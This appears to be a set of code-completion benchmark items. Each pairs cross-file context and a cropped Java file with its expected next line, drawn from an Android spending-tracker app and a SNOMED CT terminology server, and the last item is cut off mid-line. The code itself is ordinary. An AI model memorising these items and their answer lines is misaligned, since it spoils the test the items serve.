@Embedded // private RawSpending rawSpending; // // @ColumnInfo(name = "group_name") // private String groupName; // // public RawSpending getRawSpending() { // return rawSpending; // } // // public void setRawSpending(RawSpending spending) { // this.rawSpending = spending; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // // public boolean isSame(Spending s1){ // return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription()) // && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity()) // && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId() // && s1.getGroupName().equals(this.getGroupName()); // // } // }
import androidx.lifecycle.LiveData; import androidx.room.Dao; import androidx.room.Insert; import androidx.room.OnConflictStrategy; import androidx.room.Query; import com.vsahin.moneycim.Model.Entity.RawSpending; import com.vsahin.moneycim.Model.Pojo.Spending; import java.util.List;
package com.vsahin.moneycim.Model.Dao; /** * Created by Volkan Şahin on 18.08.2017. */ @Dao public interface SpendingDao { @Query("SELECT * FROM SPENDING INNER JOIN SPENDING_GROUP ON SPENDING.GROUP_ID = SPENDING_GROUP.GROUP_ID ORDER BY SPENDING.DATE DESC")
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java // @Entity(tableName = "spending") // public class RawSpending implements Serializable { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "id") // public int id; // // @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id") // @ColumnInfo(name = "group_id") // private int groupId; // // @TypeConverters(Converters.class) // @ColumnInfo(name = "date") // private Date date; // // @ColumnInfo(name = "quantity") // private Double quantity; // // @ColumnInfo(name = "description") // private String description; // // public int getId() { // return id; // } // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public Date getDate() { // return date; // } // // public void setDate(Date date) { // this.date = date; // } // // public Double getQuantity() { // return quantity; // } // // public void setQuantity(Double quantity) { // this.quantity = quantity; // } // // public String getDescription() { // return description; // } // // public void setDescription(String description) { // this.description = description; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java // public class Spending { // // @Embedded // private RawSpending rawSpending; // // @ColumnInfo(name = "group_name") // private String groupName; // // public RawSpending getRawSpending() { // return rawSpending; // } // // public void setRawSpending(RawSpending spending) { // this.rawSpending = spending; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // // public boolean isSame(Spending s1){ // return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription()) // && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity()) // && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId() // && s1.getGroupName().equals(this.getGroupName()); // // } // } // Path: app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingDao.java import androidx.lifecycle.LiveData; import androidx.room.Dao; import androidx.room.Insert; import androidx.room.OnConflictStrategy; import androidx.room.Query; import com.vsahin.moneycim.Model.Entity.RawSpending; import com.vsahin.moneycim.Model.Pojo.Spending; import java.util.List; package com.vsahin.moneycim.Model.Dao; /** * Created by Volkan Şahin on 18.08.2017. */ @Dao public interface SpendingDao { @Query("SELECT * FROM SPENDING INNER JOIN SPENDING_GROUP ON SPENDING.GROUP_ID = SPENDING_GROUP.GROUP_ID ORDER BY SPENDING.DATE DESC")
LiveData<List<Spending>> getSpendingsWithGroups();
volkansahin45/Moneycim
app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingDao.java
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java // @Entity(tableName = "spending") // public class RawSpending implements Serializable { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "id") // public int id; // // @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id") // @ColumnInfo(name = "group_id") // private int groupId; // // @TypeConverters(Converters.class) // @ColumnInfo(name = "date") // private Date date; // // @ColumnInfo(name = "quantity") // private Double quantity; // // @ColumnInfo(name = "description") // private String description; // // public int getId() { // return id; // } // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public Date getDate() { // return date; // } // // public void setDate(Date date) { // this.date = date; // } // // public Double getQuantity() { // return quantity; // } // // public void setQuantity(Double quantity) { // this.quantity = quantity; // } // // public String getDescription() { // return description; // } // // public void setDescription(String description) { // this.description = description; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java // public class Spending { // // @Embedded // private RawSpending rawSpending; // // @ColumnInfo(name = "group_name") // private String groupName; // // public RawSpending getRawSpending() { // return rawSpending; // } // // public void setRawSpending(RawSpending spending) { // this.rawSpending = spending; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // // public boolean isSame(Spending s1){ // return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription()) // && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity()) // && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId() // && s1.getGroupName().equals(this.getGroupName()); // // } // }
import androidx.lifecycle.LiveData; import androidx.room.Dao; import androidx.room.Insert; import androidx.room.OnConflictStrategy; import androidx.room.Query; import com.vsahin.moneycim.Model.Entity.RawSpending; import com.vsahin.moneycim.Model.Pojo.Spending; import java.util.List;
package com.vsahin.moneycim.Model.Dao; /** * Created by Volkan Şahin on 18.08.2017. */ @Dao public interface SpendingDao { @Query("SELECT * FROM SPENDING INNER JOIN SPENDING_GROUP ON SPENDING.GROUP_ID = SPENDING_GROUP.GROUP_ID ORDER BY SPENDING.DATE DESC") LiveData<List<Spending>> getSpendingsWithGroups(); @Insert(onConflict = OnConflictStrategy.REPLACE)
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java // @Entity(tableName = "spending") // public class RawSpending implements Serializable { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "id") // public int id; // // @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id") // @ColumnInfo(name = "group_id") // private int groupId; // // @TypeConverters(Converters.class) // @ColumnInfo(name = "date") // private Date date; // // @ColumnInfo(name = "quantity") // private Double quantity; // // @ColumnInfo(name = "description") // private String description; // // public int getId() { // return id; // } // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public Date getDate() { // return date; // } // // public void setDate(Date date) { // this.date = date; // } // // public Double getQuantity() { // return quantity; // } // // public void setQuantity(Double quantity) { // this.quantity = quantity; // } // // public String getDescription() { // return description; // } // // public void setDescription(String description) { // this.description = description; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java // public class Spending { // // @Embedded // private RawSpending rawSpending; // // @ColumnInfo(name = "group_name") // private String groupName; // // public RawSpending getRawSpending() { // return rawSpending; // } // // public void setRawSpending(RawSpending spending) { // this.rawSpending = spending; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // // public boolean isSame(Spending s1){ // return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription()) // && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity()) // && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId() // && s1.getGroupName().equals(this.getGroupName()); // // } // } // Path: app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingDao.java import androidx.lifecycle.LiveData; import androidx.room.Dao; import androidx.room.Insert; import androidx.room.OnConflictStrategy; import androidx.room.Query; import com.vsahin.moneycim.Model.Entity.RawSpending; import com.vsahin.moneycim.Model.Pojo.Spending; import java.util.List; package com.vsahin.moneycim.Model.Dao; /** * Created by Volkan Şahin on 18.08.2017. */ @Dao public interface SpendingDao { @Query("SELECT * FROM SPENDING INNER JOIN SPENDING_GROUP ON SPENDING.GROUP_ID = SPENDING_GROUP.GROUP_ID ORDER BY SPENDING.DATE DESC") LiveData<List<Spending>> getSpendingsWithGroups(); @Insert(onConflict = OnConflictStrategy.REPLACE)
void addSpending(RawSpending s);
volkansahin45/Moneycim
app/src/main/java/com/vsahin/moneycim/View/SpendingList/SpendingListViewModel.java
// Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java // public class Spending { // // @Embedded // private RawSpending rawSpending; // // @ColumnInfo(name = "group_name") // private String groupName; // // public RawSpending getRawSpending() { // return rawSpending; // } // // public void setRawSpending(RawSpending spending) { // this.rawSpending = spending; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // // public boolean isSame(Spending s1){ // return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription()) // && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity()) // && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId() // && s1.getGroupName().equals(this.getGroupName()); // // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java // @Singleton // public class SpendingRepository { // private final AppDatabase appDatabase; // @Inject // public SpendingRepository(AppDatabase appDatabase) { // this.appDatabase = appDatabase; // } // // public LiveData<List<Spending>> getSpendings(){ // return appDatabase.spendingDao().getSpendingsWithGroups(); // } // // public LiveData<Double> getTotalSpendingQuantity(){ // return appDatabase.spendingDao().getTotalSpendingQuantity(); // } // // public void addSpending(RawSpending s){ // appDatabase.spendingDao().addSpending(s); // } // // public LiveData<List<SpendingGroup>> getSpendingGroups(){ // return appDatabase.spendingGroupDao().getAllSpendingGroups(); // } // // public void deleteSpending(int id){ // appDatabase.spendingDao().deleteSpending(id); // } // }
import com.vsahin.moneycim.Model.Pojo.Spending; import com.vsahin.moneycim.Model.Repository.SpendingRepository; import java.util.List; import javax.inject.Inject; import androidx.lifecycle.LiveData; import androidx.lifecycle.ViewModel;
package com.vsahin.moneycim.View.SpendingList; /** * Created by Volkan Şahin on 17.08.2017. */ public class SpendingListViewModel extends ViewModel { private SpendingRepository spendingRepository;
// Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java // public class Spending { // // @Embedded // private RawSpending rawSpending; // // @ColumnInfo(name = "group_name") // private String groupName; // // public RawSpending getRawSpending() { // return rawSpending; // } // // public void setRawSpending(RawSpending spending) { // this.rawSpending = spending; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // // public boolean isSame(Spending s1){ // return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription()) // && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity()) // && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId() // && s1.getGroupName().equals(this.getGroupName()); // // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java // @Singleton // public class SpendingRepository { // private final AppDatabase appDatabase; // @Inject // public SpendingRepository(AppDatabase appDatabase) { // this.appDatabase = appDatabase; // } // // public LiveData<List<Spending>> getSpendings(){ // return appDatabase.spendingDao().getSpendingsWithGroups(); // } // // public LiveData<Double> getTotalSpendingQuantity(){ // return appDatabase.spendingDao().getTotalSpendingQuantity(); // } // // public void addSpending(RawSpending s){ // appDatabase.spendingDao().addSpending(s); // } // // public LiveData<List<SpendingGroup>> getSpendingGroups(){ // return appDatabase.spendingGroupDao().getAllSpendingGroups(); // } // // public void deleteSpending(int id){ // appDatabase.spendingDao().deleteSpending(id); // } // } // Path: app/src/main/java/com/vsahin/moneycim/View/SpendingList/SpendingListViewModel.java import com.vsahin.moneycim.Model.Pojo.Spending; import com.vsahin.moneycim.Model.Repository.SpendingRepository; import java.util.List; import javax.inject.Inject; import androidx.lifecycle.LiveData; import androidx.lifecycle.ViewModel; package com.vsahin.moneycim.View.SpendingList; /** * Created by Volkan Şahin on 17.08.2017. */ public class SpendingListViewModel extends ViewModel { private SpendingRepository spendingRepository;
final LiveData<List<Spending>> spendings;
wardle/rsterminology
rsterminology-server/src/main/java/com/eldrix/terminology/server/commands/BuildParentCache.java
// Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/ParentCache.java // public class ParentCache { // private static final int BATCH_SIZE=500; // // /* // * Custom recursive SQL to derive all parents of a given concept. // * @see http://www.medicalnerds.com/recursive-sql-with-postgresql-84/ // */ // private final static String RECURSIVE_PARENTS_SQL = "with recursive parent_concepts(concept_id) as (" + // "select t0.concept_id from t_concept t0 inner join t_relationship t1 on t0.concept_id = t1.target_concept_id " + // "where (t1.relationship_type_concept_id = 116680003 and t1.source_concept_id = $conceptId) " + // "union " + // "select t0.concept_id from t_concept t0,t_relationship t1, parent_concepts pc " + // "where t0.concept_id = t1.target_concept_id " + // "and t1.source_concept_id = pc.concept_id and t1.relationship_type_concept_id = 116680003" + // ") " + // "select distinct(concept_id) from parent_concepts;"; // // /* // * Build a SQL query according to the template. // * @param conceptId // * @return // */ // private static SQLTemplate _sqlTemplateForRecursiveParentsForConcept(long conceptId) { // SQLTemplate query = new SQLTemplate(Concept.class, RECURSIVE_PARENTS_SQL); // query.setParams(Collections.singletonMap("conceptId", String.valueOf(conceptId))); // query.setFetchingDataRows(true); // return query; // } // // /** // * Return the recursive parents for the given concept. // * @param context // * @param conceptId // * @return // */ // public static List<Long> fetchRecursiveParentsForConcept(ObjectContext context, long conceptId) { // SQLTemplate query = _sqlTemplateForRecursiveParentsForConcept(conceptId); // SQLResult resultDescriptor = new SQLResult(); // resultDescriptor.addColumnResult("concept_id"); // query.setResult(resultDescriptor); // @SuppressWarnings("unchecked") List<Long> result = context.performQuery(query); // return result; // } // // /** // * Build the cached parent concept cache. // * This will naturally take a considerable amount of time to process and it is suggested that this be run // * within a background task. // */ // public static void buildParentCache(ObjectContext context) { // EJBQLQuery countQuery = new EJBQLQuery("select COUNT(c) FROM Concept c"); // @SuppressWarnings("unchecked") // long count = ((List<Long>) context.performQuery(countQuery)).get(0); // SelectQuery<Concept> query = SelectQuery.query(Concept.class); // System.out.println("Building parent cache..."); // CayenneUtility.timedBatchIterator(context, query, BATCH_SIZE, count, (concepts) -> { // for (Concept c : concepts) { // buildParentCacheForConcept(c); // } // }); // context.commitChanges(); // } // // /** // * Build the cached parent concept cache for the given concept. // * @param concept // */ // public static void buildParentCacheForConcept(Concept concept) { // ObjectContext context = concept.getObjectContext(); // long conceptId = concept.getConceptId(); // List<Long> parents = ParentCache.fetchRecursiveParentsForConcept(context, conceptId); // removeConceptCachedParents(context, conceptId); // addConceptCachedParents(context, conceptId, parents); // } // // // /* // * Remove the parent concepts of the given concept from the database parent cache. // */ // protected static void removeConceptCachedParents(ObjectContext context, long conceptId) { // SQLTemplate query = new SQLTemplate(Concept.class, "delete from t_cached_parent_concepts where child_concept_id=$childConceptId"); // query.setParams(Collections.singletonMap("childConceptId", String.valueOf(conceptId))); // context.performGenericQuery(query); // } // // /* // * Add the parent concepts for the given concept to the database parent cache. // */ // protected static void addConceptCachedParents(ObjectContext context, long conceptId, List<Long> parents) { // for (long parentId: parents) { // SQLTemplate query = new SQLTemplate(Concept.class, "insert into t_cached_parent_concepts (child_concept_id, parent_concept_id) values ($childConceptId, $parentConceptId)"); // HashMap<String, String> params = new HashMap<>(); // params.put("childConceptId", String.valueOf(conceptId)); // params.put("parentConceptId", String.valueOf(parentId)); // query.setParams(params); // context.performGenericQuery(query); // } // }}
import org.apache.cayenne.ObjectContext; import org.apache.cayenne.configuration.server.ServerRuntime; import com.eldrix.terminology.snomedct.ParentCache; import com.google.inject.Inject; import com.google.inject.Provider; import io.bootique.meta.application.CommandMetadata; import io.bootique.cli.Cli; import io.bootique.command.CommandOutcome; import io.bootique.command.CommandWithMetadata;
package com.eldrix.terminology.server.commands; public class BuildParentCache extends CommandWithMetadata { @Inject public Provider<ServerRuntime> cayenne; private static CommandMetadata createMetadata() { return CommandMetadata.builder(BuildParentCache.class) .description("Rebuilds the concept parent cache. Use after updating concepts from a new release.") .build(); } public BuildParentCache() { super(createMetadata()); } @Override public CommandOutcome run(Cli cli) { ObjectContext context = cayenne.get().newContext();
// Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/ParentCache.java // public class ParentCache { // private static final int BATCH_SIZE=500; // // /* // * Custom recursive SQL to derive all parents of a given concept. // * @see http://www.medicalnerds.com/recursive-sql-with-postgresql-84/ // */ // private final static String RECURSIVE_PARENTS_SQL = "with recursive parent_concepts(concept_id) as (" + // "select t0.concept_id from t_concept t0 inner join t_relationship t1 on t0.concept_id = t1.target_concept_id " + // "where (t1.relationship_type_concept_id = 116680003 and t1.source_concept_id = $conceptId) " + // "union " + // "select t0.concept_id from t_concept t0,t_relationship t1, parent_concepts pc " + // "where t0.concept_id = t1.target_concept_id " + // "and t1.source_concept_id = pc.concept_id and t1.relationship_type_concept_id = 116680003" + // ") " + // "select distinct(concept_id) from parent_concepts;"; // // /* // * Build a SQL query according to the template. // * @param conceptId // * @return // */ // private static SQLTemplate _sqlTemplateForRecursiveParentsForConcept(long conceptId) { // SQLTemplate query = new SQLTemplate(Concept.class, RECURSIVE_PARENTS_SQL); // query.setParams(Collections.singletonMap("conceptId", String.valueOf(conceptId))); // query.setFetchingDataRows(true); // return query; // } // // /** // * Return the recursive parents for the given concept. // * @param context // * @param conceptId // * @return // */ // public static List<Long> fetchRecursiveParentsForConcept(ObjectContext context, long conceptId) { // SQLTemplate query = _sqlTemplateForRecursiveParentsForConcept(conceptId); // SQLResult resultDescriptor = new SQLResult(); // resultDescriptor.addColumnResult("concept_id"); // query.setResult(resultDescriptor); // @SuppressWarnings("unchecked") List<Long> result = context.performQuery(query); // return result; // } // // /** // * Build the cached parent concept cache. // * This will naturally take a considerable amount of time to process and it is suggested that this be run // * within a background task. // */ // public static void buildParentCache(ObjectContext context) { // EJBQLQuery countQuery = new EJBQLQuery("select COUNT(c) FROM Concept c"); // @SuppressWarnings("unchecked") // long count = ((List<Long>) context.performQuery(countQuery)).get(0); // SelectQuery<Concept> query = SelectQuery.query(Concept.class); // System.out.println("Building parent cache..."); // CayenneUtility.timedBatchIterator(context, query, BATCH_SIZE, count, (concepts) -> { // for (Concept c : concepts) { // buildParentCacheForConcept(c); // } // }); // context.commitChanges(); // } // // /** // * Build the cached parent concept cache for the given concept. // * @param concept // */ // public static void buildParentCacheForConcept(Concept concept) { // ObjectContext context = concept.getObjectContext(); // long conceptId = concept.getConceptId(); // List<Long> parents = ParentCache.fetchRecursiveParentsForConcept(context, conceptId); // removeConceptCachedParents(context, conceptId); // addConceptCachedParents(context, conceptId, parents); // } // // // /* // * Remove the parent concepts of the given concept from the database parent cache. // */ // protected static void removeConceptCachedParents(ObjectContext context, long conceptId) { // SQLTemplate query = new SQLTemplate(Concept.class, "delete from t_cached_parent_concepts where child_concept_id=$childConceptId"); // query.setParams(Collections.singletonMap("childConceptId", String.valueOf(conceptId))); // context.performGenericQuery(query); // } // // /* // * Add the parent concepts for the given concept to the database parent cache. // */ // protected static void addConceptCachedParents(ObjectContext context, long conceptId, List<Long> parents) { // for (long parentId: parents) { // SQLTemplate query = new SQLTemplate(Concept.class, "insert into t_cached_parent_concepts (child_concept_id, parent_concept_id) values ($childConceptId, $parentConceptId)"); // HashMap<String, String> params = new HashMap<>(); // params.put("childConceptId", String.valueOf(conceptId)); // params.put("parentConceptId", String.valueOf(parentId)); // query.setParams(params); // context.performGenericQuery(query); // } // }} // Path: rsterminology-server/src/main/java/com/eldrix/terminology/server/commands/BuildParentCache.java import org.apache.cayenne.ObjectContext; import org.apache.cayenne.configuration.server.ServerRuntime; import com.eldrix.terminology.snomedct.ParentCache; import com.google.inject.Inject; import com.google.inject.Provider; import io.bootique.meta.application.CommandMetadata; import io.bootique.cli.Cli; import io.bootique.command.CommandOutcome; import io.bootique.command.CommandWithMetadata; package com.eldrix.terminology.server.commands; public class BuildParentCache extends CommandWithMetadata { @Inject public Provider<ServerRuntime> cayenne; private static CommandMetadata createMetadata() { return CommandMetadata.builder(BuildParentCache.class) .description("Rebuilds the concept parent cache. Use after updating concepts from a new release.") .build(); } public BuildParentCache() { super(createMetadata()); } @Override public CommandOutcome run(Cli cli) { ObjectContext context = cayenne.get().newContext();
ParentCache.buildParentCache(context);
wardle/rsterminology
rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/Relationship.java
// Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/auto/_Relationship.java // public abstract class _Relationship extends CayenneDataObject { // // private static final long serialVersionUID = 1L; // // public static final String RELATIONSHIP_ID_PK_COLUMN = "relationship_id"; // // public static final Property<Integer> CHARACTERISTIC_TYPE = new Property<Integer>("characteristicType"); // public static final Property<Date> DATE_UPDATED = new Property<Date>("dateUpdated"); // public static final Property<Integer> REFINABILITY = new Property<Integer>("refinability"); // public static final Property<String> RELATIONSHIP_GROUP = new Property<String>("relationshipGroup"); // public static final Property<Long> RELATIONSHIP_ID = new Property<Long>("relationshipId"); // public static final Property<Concept> RELATIONSHIP_TYPE_CONCEPT = new Property<Concept>("relationshipTypeConcept"); // public static final Property<Concept> SOURCE_CONCEPT = new Property<Concept>("sourceConcept"); // public static final Property<Concept> TARGET_CONCEPT = new Property<Concept>("targetConcept"); // // public void setCharacteristicType(Integer characteristicType) { // writeProperty("characteristicType", characteristicType); // } // public Integer getCharacteristicType() { // return (Integer)readProperty("characteristicType"); // } // // public void setDateUpdated(Date dateUpdated) { // writeProperty("dateUpdated", dateUpdated); // } // public Date getDateUpdated() { // return (Date)readProperty("dateUpdated"); // } // // public void setRefinability(Integer refinability) { // writeProperty("refinability", refinability); // } // public Integer getRefinability() { // return (Integer)readProperty("refinability"); // } // // public void setRelationshipGroup(String relationshipGroup) { // writeProperty("relationshipGroup", relationshipGroup); // } // public String getRelationshipGroup() { // return (String)readProperty("relationshipGroup"); // } // // public void setRelationshipId(Long relationshipId) { // writeProperty("relationshipId", relationshipId); // } // public Long getRelationshipId() { // return (Long)readProperty("relationshipId"); // } // // public void setRelationshipTypeConcept(Concept relationshipTypeConcept) { // setToOneTarget("relationshipTypeConcept", relationshipTypeConcept, true); // } // // public Concept getRelationshipTypeConcept() { // return (Concept)readProperty("relationshipTypeConcept"); // } // // // public void setSourceConcept(Concept sourceConcept) { // setToOneTarget("sourceConcept", sourceConcept, true); // } // // public Concept getSourceConcept() { // return (Concept)readProperty("sourceConcept"); // } // // // public void setTargetConcept(Concept targetConcept) { // setToOneTarget("targetConcept", targetConcept, true); // } // // public Concept getTargetConcept() { // return (Concept)readProperty("targetConcept"); // } // // // } // // Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/semantic/RelationType.java // public enum RelationType { // IS_A(116680003L), // HAS_ACTIVE_INGREDIENT(127489000L), // HAS_AMP(10362701000001108L), // HAS_ARP(12223201000001101L), // HAS_BASIS_OF_STRENGTH(10363001000001101L), // HAS_DISPENSED_DOSE_FORM(10362901000001105L), // HAS_DOSE_FORM(411116001L), // HAS_EXCIPIENT(8653101000001104L), // HAS_SPECIFIC_ACTIVE_INGREDIENT(10362801000001104L), // HAS_TRADE_FAMILY_GROUP(9191701000001107L), // HAS_VMP(10362601000001103L), // VMP_NON_AVAILABILITY_INDICATOR(8940601000001102L), // VMP_PRESCRIBING_STATUS(8940001000001105L), // VRP_PRESCRIBING_STATUS(12223501000001103L); // // public final long conceptId; // // private final static HashMap<Long, RelationType> _lookup = new HashMap<Long, RelationType>(); // static { // for (RelationType type : RelationType.values()) { // _lookup.put(type.conceptId, type); // } // } // RelationType(long conceptId) { // this.conceptId = conceptId; // } // public static RelationType relationTypeForConceptId(long conceptId) { // return _lookup.get(conceptId); // } // }
import java.util.Optional; import com.eldrix.terminology.snomedct.auto._Relationship; import com.eldrix.terminology.snomedct.semantic.RelationType;
package com.eldrix.terminology.snomedct; public class Relationship extends _Relationship { private static final long serialVersionUID = 1L;
// Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/auto/_Relationship.java // public abstract class _Relationship extends CayenneDataObject { // // private static final long serialVersionUID = 1L; // // public static final String RELATIONSHIP_ID_PK_COLUMN = "relationship_id"; // // public static final Property<Integer> CHARACTERISTIC_TYPE = new Property<Integer>("characteristicType"); // public static final Property<Date> DATE_UPDATED = new Property<Date>("dateUpdated"); // public static final Property<Integer> REFINABILITY = new Property<Integer>("refinability"); // public static final Property<String> RELATIONSHIP_GROUP = new Property<String>("relationshipGroup"); // public static final Property<Long> RELATIONSHIP_ID = new Property<Long>("relationshipId"); // public static final Property<Concept> RELATIONSHIP_TYPE_CONCEPT = new Property<Concept>("relationshipTypeConcept"); // public static final Property<Concept> SOURCE_CONCEPT = new Property<Concept>("sourceConcept"); // public static final Property<Concept> TARGET_CONCEPT = new Property<Concept>("targetConcept"); // // public void setCharacteristicType(Integer characteristicType) { // writeProperty("characteristicType", characteristicType); // } // public Integer getCharacteristicType() { // return (Integer)readProperty("characteristicType"); // } // // public void setDateUpdated(Date dateUpdated) { // writeProperty("dateUpdated", dateUpdated); // } // public Date getDateUpdated() { // return (Date)readProperty("dateUpdated"); // } // // public void setRefinability(Integer refinability) { // writeProperty("refinability", refinability); // } // public Integer getRefinability() { // return (Integer)readProperty("refinability"); // } // // public void setRelationshipGroup(String relationshipGroup) { // writeProperty("relationshipGroup", relationshipGroup); // } // public String getRelationshipGroup() { // return (String)readProperty("relationshipGroup"); // } // // public void setRelationshipId(Long relationshipId) { // writeProperty("relationshipId", relationshipId); // } // public Long getRelationshipId() { // return (Long)readProperty("relationshipId"); // } // // public void setRelationshipTypeConcept(Concept relationshipTypeConcept) { // setToOneTarget("relationshipTypeConcept", relationshipTypeConcept, true); // } // // public Concept getRelationshipTypeConcept() { // return (Concept)readProperty("relationshipTypeConcept"); // } // // // public void setSourceConcept(Concept sourceConcept) { // setToOneTarget("sourceConcept", sourceConcept, true); // } // // public Concept getSourceConcept() { // return (Concept)readProperty("sourceConcept"); // } // // // public void setTargetConcept(Concept targetConcept) { // setToOneTarget("targetConcept", targetConcept, true); // } // // public Concept getTargetConcept() { // return (Concept)readProperty("targetConcept"); // } // // // } // // Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/semantic/RelationType.java // public enum RelationType { // IS_A(116680003L), // HAS_ACTIVE_INGREDIENT(127489000L), // HAS_AMP(10362701000001108L), // HAS_ARP(12223201000001101L), // HAS_BASIS_OF_STRENGTH(10363001000001101L), // HAS_DISPENSED_DOSE_FORM(10362901000001105L), // HAS_DOSE_FORM(411116001L), // HAS_EXCIPIENT(8653101000001104L), // HAS_SPECIFIC_ACTIVE_INGREDIENT(10362801000001104L), // HAS_TRADE_FAMILY_GROUP(9191701000001107L), // HAS_VMP(10362601000001103L), // VMP_NON_AVAILABILITY_INDICATOR(8940601000001102L), // VMP_PRESCRIBING_STATUS(8940001000001105L), // VRP_PRESCRIBING_STATUS(12223501000001103L); // // public final long conceptId; // // private final static HashMap<Long, RelationType> _lookup = new HashMap<Long, RelationType>(); // static { // for (RelationType type : RelationType.values()) { // _lookup.put(type.conceptId, type); // } // } // RelationType(long conceptId) { // this.conceptId = conceptId; // } // public static RelationType relationTypeForConceptId(long conceptId) { // return _lookup.get(conceptId); // } // } // Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/Relationship.java import java.util.Optional; import com.eldrix.terminology.snomedct.auto._Relationship; import com.eldrix.terminology.snomedct.semantic.RelationType; package com.eldrix.terminology.snomedct; public class Relationship extends _Relationship { private static final long serialVersionUID = 1L;
public Optional<RelationType> getRelationType() {
wardle/rsterminology
rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/auto/_CrossMapSet.java
// Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/CrossMapTable.java // public class CrossMapTable extends _CrossMapTable { // // private static final long serialVersionUID = 1L; // // }
import java.util.List; import org.apache.cayenne.CayenneDataObject; import org.apache.cayenne.exp.Property; import com.eldrix.terminology.snomedct.CrossMapTable;
package com.eldrix.terminology.snomedct.auto; /** * Class _CrossMapSet was generated by Cayenne. * It is probably a good idea to avoid changing this class manually, * since it may be overwritten next time code is regenerated. * If you need to make any customizations, please use subclass. */ public abstract class _CrossMapSet extends CayenneDataObject { private static final long serialVersionUID = 1L; public static final String SET_ID_PK_COLUMN = "set_id"; public static final Property<String> NAME = new Property<String>("name"); public static final Property<String> REALM_ID = new Property<String>("realmId"); public static final Property<Integer> RULE_TYPE = new Property<Integer>("ruleType"); public static final Property<String> SCHEME_ID = new Property<String>("schemeId"); public static final Property<String> SCHEME_NAME = new Property<String>("schemeName"); public static final Property<String> SCHEME_VERSION = new Property<String>("schemeVersion"); public static final Property<String> SEPARATOR = new Property<String>("separator"); public static final Property<Long> SET_ID = new Property<Long>("setId"); public static final Property<Integer> TYPE = new Property<Integer>("type");
// Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/CrossMapTable.java // public class CrossMapTable extends _CrossMapTable { // // private static final long serialVersionUID = 1L; // // } // Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/auto/_CrossMapSet.java import java.util.List; import org.apache.cayenne.CayenneDataObject; import org.apache.cayenne.exp.Property; import com.eldrix.terminology.snomedct.CrossMapTable; package com.eldrix.terminology.snomedct.auto; /** * Class _CrossMapSet was generated by Cayenne. * It is probably a good idea to avoid changing this class manually, * since it may be overwritten next time code is regenerated. * If you need to make any customizations, please use subclass. */ public abstract class _CrossMapSet extends CayenneDataObject { private static final long serialVersionUID = 1L; public static final String SET_ID_PK_COLUMN = "set_id"; public static final Property<String> NAME = new Property<String>("name"); public static final Property<String> REALM_ID = new Property<String>("realmId"); public static final Property<Integer> RULE_TYPE = new Property<Integer>("ruleType"); public static final Property<String> SCHEME_ID = new Property<String>("schemeId"); public static final Property<String> SCHEME_NAME = new Property<String>("schemeName"); public static final Property<String> SCHEME_VERSION = new Property<String>("schemeVersion"); public static final Property<String> SEPARATOR = new Property<String>("separator"); public static final Property<Long> 